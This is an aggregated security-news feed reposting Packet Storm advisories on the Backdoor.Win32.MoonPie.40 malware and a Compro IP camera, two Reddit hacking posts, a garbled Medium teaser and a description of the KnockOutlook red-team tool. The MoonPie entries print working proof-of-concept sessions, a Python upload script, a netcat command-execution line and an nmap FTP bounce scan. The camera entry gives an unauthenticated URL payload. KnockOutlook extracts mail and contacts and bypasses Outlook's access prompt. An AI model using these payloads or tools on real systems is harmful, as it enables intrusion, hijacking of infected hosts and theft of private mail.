Exploit Collector
Backdoor.Win32.MoonPie.40 Authentication Bypass / Code Execution

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
Backdoor.Win32.MoonPie.40 malware suffers from bypass and code execution vulnerabilities.

MD5 | 7286027878b606377863d3d65933a272

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9dbb6d56bc9a7813305883acd0f9a355.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MoonPie.40
Vulnerability: Authentication Bypass RCE
Description: The malware runs an FTP server on TCP port 25686. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 9dbb6d56bc9a7813305883acd0f9a355
Vuln ID: MVID-2021-0332
Disclosure: 09/01/2021
Exploit/PoC:
nc64.exe 192.168.18.129 25686
220 MoonPie BETA 4.0
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,33).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49697
DOOM="DOOM.js"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.MoonPie.40 Remote Command Execution

https://4.bp.blogspot.com/-dyIqvjR3K84/WWlvfXt5NkI/AAAAAAAAIQA/Fvmwfk3J4TgcxqdY3USv0_rN_ZW9VtW1ACLcBGAs/s1600/h85.png
Backdoor.Win32.MoonPie.40 malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | cd2528f4b937fccf3252fd2ff824d4e0

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/Backdoor.Win32.MoonPie.40.9dbb6d56bc9a7813305883acd0f9a355_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MoonPie.40
Vulnerability: Unauthenticated Remote Command Execution
Description: listens on TCP port 25685. Third-party attackers who can reach infected systems can execute OS commands and or run arbitrary programs.
Type: PE32
MD5: 9dbb6d56bc9a7813305883acd0f9a355
Vuln ID: MVID-2021-0334
Disclosure: 09/01/2021

Exploit/PoC:
Supply the program to start after the banner "verBETA 4.0np0" using the command like: exe"PROGRAM"

nc64.exe x.x.x.x 25685
verBETA 4.0np0exe"calc"
okmProgramm gestartet

Translated from German: "okm program started"

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Compro Technology IP Camera Screenshot Disclosure

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
Compro Technology IP Camera suffers from a screenshot disclosure vulnerability.

MD5 | dacb2881899a383d1ea1137a51ce58db

Download
# Exploit Title: Compro Technology IP Camera - ' mjpegStreamer.cgi' Screenshot Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40382

There is an unauthorized access vulnerability, which can lead to
unauthorized access to camera video screenshots.

Payload:

/mjpegStreamer.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.MoonPie.40 Man-In-The-Middle

https://3.bp.blogspot.com/-p2bRUn4ag8U/WWlvPJDaCwI/AAAAAAAAIMw/gkQGiTtaXucRRVbpvBkwiWIbJMO4BFlLwCLcBGAs/s1600/h28.png
Backdoor.Win32.MoonPie.40 malware suffers from a man-in-the-middle vulnerability.

MD5 | 2bf3c98399ab794d77223417ef7e95ad

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9dbb6d56bc9a7813305883acd0f9a355_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MoonPie.40
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 25686, its FTP component accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 9dbb6d56bc9a7813305883acd0f9a355
Vuln ID: MVID-2021-0333
Disclosure: 09/01/2021
Exploit/PoC:
nmap -n -Pn -b mal:vuln@192.168.18.129:25686 -p21,22,80 192.168.18.237
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-31 19:05 Pacific Daylight Time
Nmap scan report for 192.168.18.237
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

hacking: security in practice
mercurial.exe doesn't want to open

any ideas on how to make it open?

submitted by /u/Jazz_Like_Card_9975
[link] [comments]

hacking: security in practice
I found a vulnerability in a website that lots of people don’t like (myself included)

What would you do in this situation? I don’t plan on going through with it because I don’t want the FBI knocking on my door.

submitted by /u/OddAtmosphere6303
[link] [comments]

Hacking on Medium
Hi this is the only link for connect to black . water site

https://cdn-images-1.medium.com/max/1700/1*p54w30fNOMAXtLAPj7lqkw.jpeg
please before click to link you most to learn the cnt of business

Continue reading on Medium »

KnockOutlook - A Little Tool To Play With Outlook
http://www.kitploit.com/2021/09/knockoutlook-little-tool-to-play-with.html

"The best feeling is to win by knockout." - Nonito Donaire
Overview
KnockOutlook is a C# project that interacts with Outlook's COM object in order to perform a number of operations (https://www.kitploit.com/search/label/Operations) useful in red team (https://www.kitploit.com/search/label/Red%20Team) engagements.
Command Line Usage
metadata of every account search : search for the provided keyword in every mailbox save : save a specified mail by its EntryID Examples: KnockOutlook.exe --operation check KnockOutlook.exe --operation contacts KnockOutlook.exe --operation mails --bypass KnockOutlook.exe --operation search --keyword password KnockOutlook.exe --operation save --id {EntryID} --bypass "> __ __ __ ____ __ __ __
/ //_/____ ____ _____/ /__/ __ \__ __/ /_/ /___ ____ / /__
/ ,< / __ \/ __ \/ ___/ //_/ / / / / / / __/ / __ \/ __ \/ //_/
/ /| |/ / / / /_/ / /__/ ,< / /_/ / /_/ / /_/ / /_/ / /_/ / ,<
/_/ |_/_/ /_/\____/\___/_/\_\\____/\__,_/\__/_/\____/\____/_/\_\


Parameters:
--operation : specify the operation to run
--keyword : specify a keyword for the 'search' operation
--id : specify an EntryID for the 'save' operation
--bypass : bypass the Programmatic Access Security settings (requires admin)

Operations:
check : perform a number of checks to ensure operational security
contacts : extract all contacts of every account
mails : extract mailbox metadata of every account
search : search for the provided keyword in every mailbox
save : save a specified mail by its EntryID

Examples:
KnockOutlook.exe --operation check
KnockOutlook.exe --operation contacts
KnockOutlook.exe --operation mails --bypass
KnockOutlook.exe --operation search --keyword password
KnockOutlook.exe --operation save --id {EntryID} --bypass

Operations
check Enumerates the Outlook installation details in order to construct the correct registry key (https://www.kitploit.com/search/label/Registry%20Key) and retrieve the Programmatic Access Security setting. If this value is set to Warn when antivirus (https://www.kitploit.com/search/label/Antivirus) is inactive or out-of-date it queries WMI for any installed antivirus products and parses their current state. contacts Enumerates the contacts of every configured account and extracts the following information: Full Name Email Address mails Enumerates the mails of every configured account and extracts the following metadata: ID Timestamp Subject From To Attachments search Searches inside the mailbox of every configured account using Outlook's built-in search engine and returns the EntryID of mails that contain the provided keyword in their body. save Uses Outlook's built-in Save As mechanism to export a mail referenced by its EntryID.
Object Model Guard Bypass
The --bypass switch can be used in conjunction with contacts, mails, search and save operations given the fact that the current process is running with high integrity level. It will attempt to snapshot the current security policy of Outlook, patch it in a way that the Programmatic Access Security prompt is auto-allowed and finally revert it to its initial state after the operation has finished.
Output
All operations will output basic information on screen. The contacts and mails operations will output results in JSON format to a Gzip compressed file. The save operation will export the requested mail in .MSG format. All filenames are randomly generated during runtime. By default, Outlook's Secure Temp Folder is used as a destination for all exported files.
Authors
eks (https://twitter.com/eks_perience) psof (https://github.com/psof)

Download KnockOutlook (https://github.com/eksperience/KnockOutlook)